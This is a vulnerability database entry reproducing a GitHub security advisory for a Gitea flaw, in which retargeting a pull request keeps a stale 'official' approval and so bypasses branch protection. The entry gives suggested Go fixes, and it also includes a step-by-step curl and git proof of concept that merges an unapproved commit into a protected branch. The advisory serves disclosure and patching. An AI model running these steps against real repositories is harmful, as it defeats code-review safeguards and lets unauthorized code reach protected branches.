GHSA-W5PG-649R-P6GG
Vulnerability from github – Published: 2026-07-21 20:14 – Updated: 2026-07-21 20:15Summary
Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.
- Confirmed on Gitea 1.25.4 (
1.25.4+41-g96515c0f20)
Vulnerability Details
Root Cause
When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.
When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:
- Updates pr.BaseBranch
- Recalculates merge feasibility and divergence
- Deletes old push comments
- Creates a "change target branch" comment
But it does not:
- Re-evaluate official on existing reviews
- Dismiss existing approvals
- Check whether reviewers are in the new target branch's approval whitelist
At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.
Relevant Code Paths
- Review creation —
services/pull/review.go:SubmitReviewcallsIsOfficialRevieweragainst the currentpr.BaseBranch's protection rules, storesofficial=true/false - Target branch change —
services/pull/pull.go:ChangeTargetBranchmodifiespr.BaseBranchbut does not touch existing reviews - Merge check —
services/pull/check.go:CheckPullMergeable→models/issues/pull.go:GetGrantedApprovalsCountcounts storedofficial=truereviews without re-evaluating against the new branch's whitelist
Prerequisites
The attacker needs: - Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin) - The ability to create pull requests (standard for any user with push access) - A second account (or any non-admin account) to submit the approval on the unprotected branch
The attacker does not need: - Admin access - To be in the approval whitelist for the protected branch - Any interaction from the branch protection's designated approvers
Proof of Concept
Setup
Repository owner/repo with branch master protected:
- Required approvals: 1
- Approval whitelist enabled, containing only user admin-reviewer
- User attacker has write access but is not in the approval whitelist
Steps
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user
# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch
# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{
"head": "malicious-branch",
"base": "tmp-unprotected",
"title": "Add feature"
}'
# Returns PR #N
# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ACCOMPLICE_AUTH" \
-H "Content-Type: application/json" \
-d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true
# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"base": "master"}'
# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false
# 7. Merge — succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"do": "merge"}'
# Returns 200 OK — malicious commit is now on master
Observed API Responses
Step 4 — Approval on unprotected branch:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}
Step 6 — Same approval after retarget to protected master:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}
The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.
Impact
- Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
- Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements
Suggested Fix
Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:
// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
IssueID: pr.IssueID,
Type: issues_model.ReviewTypeApprove,
})
if err != nil {
return err
}
newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
return err
}
for _, review := range reviews {
wasOfficial := review.Official
if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
} else {
review.Official = false
}
if wasOfficial != review.Official {
if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
return err
}
}
}
Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):
// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
IssueID: pr.IssueID,
Message: "Dismissed: PR target branch changed",
}); err != nil {
return err
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58439"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:14:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nGitea does not re-evaluate the `official` flag on existing pull request reviews when a PR\u0027s target branch is changed. An attacker with write access to a repository can obtain an `official: true` approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., `master`). The approval, which would have been `official: false` if submitted against the protected branch, is preserved and satisfies the protected branch\u0027s required approvals, allowing the attacker to merge without legitimate maintainer approval.\n\n- Confirmed on Gitea **1.25.4** (`1.25.4+41-g96515c0f20`)\n\n## Vulnerability Details\n\n### Root Cause\n\nWhen a review is submitted on a pull request, Gitea computes the `official` flag by checking whether the reviewer is in the **target branch\u0027s** approval whitelist (`IsUserOfficialReviewer` in `models/git/protected_branch.go`). This flag is stored in the database as a boolean on the review record.\n\nWhen a PR\u0027s target branch is subsequently changed via `ChangeTargetBranch` (`services/pull/pull.go:218`), the function:\n- Updates `pr.BaseBranch`\n- Recalculates merge feasibility and divergence\n- Deletes old push comments\n- Creates a \"change target branch\" comment\n\nBut it does **not**:\n- Re-evaluate `official` on existing reviews\n- Dismiss existing approvals\n- Check whether reviewers are in the new target branch\u0027s approval whitelist\n\nAt merge time, `GetGrantedApprovalsCount` (`models/issues/pull.go:766`) counts reviews where `official = true AND dismissed = false AND type = Approve`. It reads the stored boolean \u2014 it does not re-check the whitelist. The stale `official: true` from the unprotected branch satisfies the protected branch\u0027s approval requirement.\n\n### Relevant Code Paths\n\n1. **Review creation** \u2014 `services/pull/review.go:SubmitReview` calls `IsOfficialReviewer` against the current `pr.BaseBranch`\u0027s protection rules, stores `official=true/false`\n2. **Target branch change** \u2014 `services/pull/pull.go:ChangeTargetBranch` modifies `pr.BaseBranch` but does not touch existing reviews\n3. **Merge check** \u2014 `services/pull/check.go:CheckPullMergeable` \u2192 `models/issues/pull.go:GetGrantedApprovalsCount` counts stored `official=true` reviews without re-evaluating against the new branch\u0027s whitelist\n\n### Prerequisites\n\nThe attacker needs:\n- **Write (push) access** to the repository (collaborator with write role, or the ability to create branches \u2014 not admin)\n- The ability to create pull requests (standard for any user with push access)\n- A second account (or any non-admin account) to submit the approval on the unprotected branch\n\nThe attacker does **not** need:\n- Admin access\n- To be in the approval whitelist for the protected branch\n- Any interaction from the branch protection\u0027s designated approvers\n\n## Proof of Concept\n\n### Setup\n\nRepository `owner/repo` with branch `master` protected:\n- Required approvals: 1\n- Approval whitelist enabled, containing only user `admin-reviewer`\n- User `attacker` has write access but is **not** in the approval whitelist\n\n### Steps\n\n```bash\nBASE=\"http://gitea-instance:3000\"\nOWNER=\"owner\"\nREPO=\"repo\"\nATTACKER_AUTH=\"attacker:password\"\nACCOMPLICE_AUTH=\"accomplice:password\" # any non-whitelisted user\n\n# 1. Create an unprotected temporary branch from master\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/branches\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"new_branch_name\": \"tmp-unprotected\", \"old_branch_name\": \"master\"}\u0027\n\n# 2. Push a malicious commit to a feature branch\ngit checkout -b malicious-branch origin/master\necho \"malicious payload\" \u003e payload.txt\ngit add payload.txt\ngit commit -m \"innocent looking commit\"\ngit push origin malicious-branch\n\n# 3. Create PR targeting the UNPROTECTED branch\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"head\": \"malicious-branch\",\n \"base\": \"tmp-unprotected\",\n \"title\": \"Add feature\"\n }\u0027\n# Returns PR #N\n\n# 4. Approve the PR (official=true because tmp-unprotected has no protection)\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews\" \\\n -u \"$ACCOMPLICE_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"event\": \"APPROVED\", \"body\": \"LGTM\"}\u0027\n# Response includes: \"official\": true\n\n# 5. Retarget the PR to protected master\ncurl -X PATCH \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"base\": \"master\"}\u0027\n\n# 6. Verify: approval is still official=true against master\ncurl \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews\" \\\n -u \"$ATTACKER_AUTH\"\n# Response: \"official\": true, \"dismissed\": false, \"stale\": false\n\n# 7. Merge \u2014 succeeds despite no whitelisted approver reviewing\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"do\": \"merge\"}\u0027\n# Returns 200 OK \u2014 malicious commit is now on master\n```\n\n### Observed API Responses\n\n**Step 4** \u2014 Approval on unprotected branch:\n```json\n{\"id\": 16, \"state\": \"APPROVED\", \"official\": true, \"dismissed\": false, \"user\": {\"login\": \"accomplice\"}}\n```\n\n**Step 6** \u2014 Same approval after retarget to protected master:\n```json\n{\"id\": 16, \"state\": \"APPROVED\", \"official\": true, \"dismissed\": false, \"stale\": false, \"user\": {\"login\": \"accomplice\"}}\n```\n\nThe `official` flag is unchanged. Under the protected branch\u0027s rules, this user\u0027s approval should be `official: false`.\n\n## Impact\n\n- **Branch protection bypass**: Protected branches with approval whitelists can be merged into without any whitelisted user approving\n- **Privilege escalation**: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements\n\n## Suggested Fix\n\nRe-evaluate the `official` flag on all existing reviews when a PR\u0027s target branch changes. In `services/pull/pull.go:ChangeTargetBranch`, after updating `pr.BaseBranch`:\n\n```go\n// After updating the base branch, re-evaluate official status on all reviews\nreviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{\n IssueID: pr.IssueID,\n Type: issues_model.ReviewTypeApprove,\n})\nif err != nil {\n return err\n}\n\nnewProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)\nif err != nil {\n return err\n}\n\nfor _, review := range reviews {\n wasOfficial := review.Official\n if newProtectBranch != nil \u0026\u0026 newProtectBranch.EnableApprovalsWhitelist {\n review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)\n } else {\n review.Official = false\n }\n if wasOfficial != review.Official {\n if _, err := db.GetEngine(ctx).ID(review.ID).Cols(\"official\").Update(review); err != nil {\n return err\n }\n }\n}\n```\n\nAlternatively, dismiss all existing approvals on retarget (simpler, more conservative):\n\n```go\n// Dismiss all approvals when target branch changes\nif _, err := issues_model.DismissReview(ctx, \u0026issues_model.DismissReviewOptions{\n IssueID: pr.IssueID,\n Message: \"Dismissed: PR target branch changed\",\n}); err != nil {\n return err\n}\n```",
"id": "GHSA-w5pg-649r-p6gg",
"modified": "2026-07-21T20:15:33Z",
"published": "2026-07-21T20:14:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38319"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38402"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/74ad781db9c37134ee9280c69a6b1de53801503e"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/8401fe7c544abff1ecc49d7f3166fd4ee0c174ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.